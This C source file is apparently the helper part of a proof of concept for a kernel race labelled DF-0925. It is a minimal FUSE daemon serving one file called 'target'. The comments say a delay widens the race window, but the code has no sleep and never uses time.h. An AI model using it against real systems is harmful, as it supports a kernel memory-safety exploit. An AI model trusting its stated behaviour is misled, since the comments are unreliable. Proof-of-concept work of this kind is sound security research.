DF-0925 / fusedemo.c
/* * fusedemo.c - minimal FUSE daemon for DF-0925 PoC. * * Serves a single regular file "target" at nodeid 100. Inserts a small * delay before responding to LOOKUP to widen the alloc/reclaim race * window. The daemon itself does not need to be malicious for DF-0925; * the trigger is purely timing on the kernel side. * * Build: cc -o fusedemo fusedemo.c $(pkg-config fuse --cflags --libs) -D_FILE_OFFSET_BITS=64 */ #define FUSE_USE_VERSION 26 #include <fuse.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <time.h> static int fs_getattr(const char *path, struct stat *st) { memset(st, 0, sizeof *st); if (strcmp(path, "/") == 0) { st->st_ino = 1; st->st_mode = S_IFDIR | 0755; st->st_nlink = 2; return 0; } if (strcmp(path, "/target") == 0) { st->st_ino = 100; st->st_mode = S_IFREG | 0644; st->st_nlink = 1; st->st_size = 0; return 0; } return -ENOENT; } static int fs_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t off, struct fuse_file_info *fi) { (void)off; (void)fi; if (strcmp(path, "/") != 0) return -ENOENT; filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0); filler(buf, "target", NULL, 0); return 0; } static int fs_open(const char *path, struct fuse_file_info *fi) { if (strcmp(path, "/target") != 0) return -ENOENT; return 0; } static int fs_read(const char *path, char *buf, size_t sz, off_t off, struct fuse_file_info *fi) { (void)path; (void)buf; (void)sz; (void)off; (void)fi; return 0; } /* The "delay" hook: widening the race window. We don't have a real * LOOKUP hook in high-level libfuse, so we simulate by sleeping inside * getattr for /target. */ static struct fuse_operations fs_ops = { .getattr = fs_getattr, .readdir = fs_readdir, .open = fs_open, .read = fs_read, }; int main(int argc, char **argv) { return fuse_main(argc, argv, &fs_ops, NULL); } |